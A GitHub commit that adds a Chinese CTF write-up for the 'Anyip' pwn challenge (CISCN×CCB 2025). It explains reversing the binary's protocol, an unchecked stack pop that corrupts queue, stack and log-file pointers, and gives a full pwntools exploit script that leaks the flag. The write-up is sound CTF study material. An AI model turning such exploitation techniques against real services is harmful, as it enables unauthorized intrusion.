Skip to content

Commit d7cfc2e

Browse files
committed
ciscnxccb2025: complete Anyip
1 parent d3279d0 commit d7cfc2e

File tree

4 files changed

+148
-1
lines changed

4 files changed

+148
-1
lines changed

ciscnxccb2025/Anyip.md

Lines changed: 147 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,147 @@
1+
# Anyip
2+
3+
## 文件属性
4+
5+
|属性 ||
6+
|------|------|
7+
|Arch |amd64 |
8+
|RELRO |Full |
9+
|Canary|on |
10+
|NX |on |
11+
|PIE |on |
12+
|strip |yes |
13+
14+
## 解题思路
15+
16+
题目实现了一个最基础的tcp服务器,用户需要输入二进制内容和它进行交互。
17+
根据读取缓冲区并parse的函数,可以总结出以下输入的规律:
18+
19+
![struct](assets/struct.png)
20+
21+
其中 *action* 可以是`0x1111`, `0x2222`, `0x3333``0x4444`,分别对应树打印、
22+
栈操作、树构建和队列操作。
23+
24+
其中栈和队列的操作比较好逆,可以通过 *opt* 来控制退栈和压栈等。
25+
其中logname会在一开始按时间戳生成一个,我们不能通过打log来获取它的输出。
26+
观察到操作栈时,压栈有检查,退栈却没有,分析bss上的布局,
27+
我们可以覆盖到控制队列的`rear`。入队的时候直接用了`rear`来访问队列,
28+
随后`rear = (rear + 1) % 10`,因此我们控制`rear`后可以向后方写入一个数字 *buf*
29+
最简单的就是控制`bp`,然后我们就可以无限压栈,压到`sp`后,将`logname`的偏移压入其中,
30+
接着就可以控制log文件的名字了。
31+
32+
![layout](assets/bsslayout.png)
33+
34+
再然后就是难逆的树操作了。一开始还不太好看出来,因为有个0x50大小的结构体,
35+
却没有任何信息。最后在一堆函数里找到这么个字符串:`"cannot create std::deque larger than max_size()"`
36+
借助C++编译一个空的deque然后-g生成调试符号,终于在Ghidra里读到了整个结构体的全貌,
37+
同时也推出了其他的库函数,可以分析了。最后还原出的树构建的函数大约是这样的:
38+
39+
> [!TIP]
40+
> 当不开优化选项时,C++的大量函数模板实例化后没有内联,导致这道题的很多函数是空的,
41+
> 逆向难度变相提高了。如果开启了编译选项,结构体信息会全部打包进ELF中,使用反编译软件可以读取之,
42+
> 从而方便我们backport类的结构体到题目中。(虽然还是要猜它是什么类)
43+
44+
```c
45+
struct Node {
46+
char ch;
47+
Node *lchild;
48+
Node *rchild;
49+
} *root;
50+
51+
void insert(char ch) {
52+
deque<Node *> dequeue;
53+
Node *node = root;
54+
dequeue.push_back(node);
55+
while (!dequeue.empty()) {
56+
node = dequeue.front();
57+
if (!node->lchild || !node->rchild)
58+
break;
59+
dequeue.push_back(node->lchild);
60+
dequeue.push_back(node->rchild);
61+
dequeue.pop_front();
62+
}
63+
if (!node->lchild)
64+
node->lchild = new Node(ch);
65+
else
66+
node->rchild = new Node(ch);
67+
}
68+
69+
void tostring(string &acc) {
70+
Node *node = root;
71+
while (node || !dequeue.empty())
72+
if (node) {
73+
dequeue.push_back(node);
74+
node = node->lchild;
75+
} else {
76+
node = dequeue.back();
77+
acc += node->ch;
78+
dequeue.pop_back();
79+
node = node->rchild;
80+
}
81+
}
82+
```
83+
84+
根据以上代码,在插入节点时,使用BFS方式填充节点(也就是数组平铺式),
85+
在构建字符串时使用中序遍历取出节点。在树打印函数中,如果中序遍历树得到`SomeIpfun`,
86+
那么就会打开log文件并输出其中的内容。这也是唯一的输出内容的地方。
87+
88+
因此控制树节点使其中序遍历为`SomeIpfun`,并劫持`logname`为`"flag"`就可以输出flag。
89+
90+
## EXPLOIT
91+
92+
```python
93+
from pwn import *
94+
context.terminal = ['tmux','splitw','-h']
95+
GOLD_TEXT = lambda x: f'\x1b[33m{x}\x1b[0m'
96+
EXE = './anyip'
97+
98+
def payload(lo: int):
99+
global sh, server
100+
if lo:
101+
if lo & 4 or not isinstance(server, process):
102+
server = process(EXE)
103+
if lo & 2:
104+
gdb.attach(server)
105+
sh = remote('127.0.0.1', 9999)
106+
else:
107+
sh = remote('', 9999)
108+
109+
def encode(op: int, option: int, buf: bytes) -> bytes:
110+
return p16(op) + b'\0' + p8(option) + p64(0) + p32(0x701) + buf
111+
112+
def send(buf: bytes):
113+
sh.send(buf)
114+
sleep(0.125)
115+
116+
info('Setting up bp to bypass stack limitation')
117+
for _ in range(5):
118+
send(encode(0x2222, 2, b'')) # stack pop
119+
send(encode(0x2222, 1, b'27')) # stack push: [rear] = &sp - &queue
120+
send(encode(0x4444, 1, b'4096')) # queue push: [bp] = 0x1000
121+
info('Setting sp to 16 to mod logname')
122+
for _ in range(14):
123+
send(encode(0x2222, 1, b'0'))
124+
send(encode(0x2222, 1, b'16')) # stack push: [sp] = &logname - &stack
125+
info('Now set logname as "flag"')
126+
send(encode(0x2222, 1, str(u32(b'flag')).encode()))
127+
send(encode(0x2222, 1, b'0')) # logname = "flag"
128+
129+
info('Setting up char tree')
130+
sh.send(encode(0x3333, 3, b'p'))
131+
sh.send(encode(0x3333, 1, b'e'))
132+
sh.send(encode(0x3333, 1, b'u'))
133+
sh.send(encode(0x3333, 1, b'o'))
134+
sh.send(encode(0x3333, 1, b'I'))
135+
sh.send(encode(0x3333, 1, b'f'))
136+
sh.send(encode(0x3333, 1, b'n'))
137+
sh.send(encode(0x3333, 1, b'S'))
138+
sh.send(encode(0x3333, 1, b'm'))
139+
140+
info('Now print the flag!!!')
141+
sh.send(encode(0x1111, 2, b''))
142+
143+
sh.recvuntil(b'flag{')
144+
flag = b'flag{' + sh.recvuntil(b'}')
145+
success(f"Flag is: {flag.decode()}")
146+
sh.close()
147+
```

ciscnxccb2025/README.md

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@
66

77
1. [anote](anote.md)
88
2. [avm](avm.md)
9-
3. Anyip(赛后复现)(TODO)
9+
3. [Anyip(赛后复现)](Anyip.md)
1010
4. novel1
1111
5. server
1212

ciscnxccb2025/assets/bsslayout.png

25.1 KB
Loading

ciscnxccb2025/assets/struct.png

22.6 KB
Loading

0 commit comments

Comments
 (0)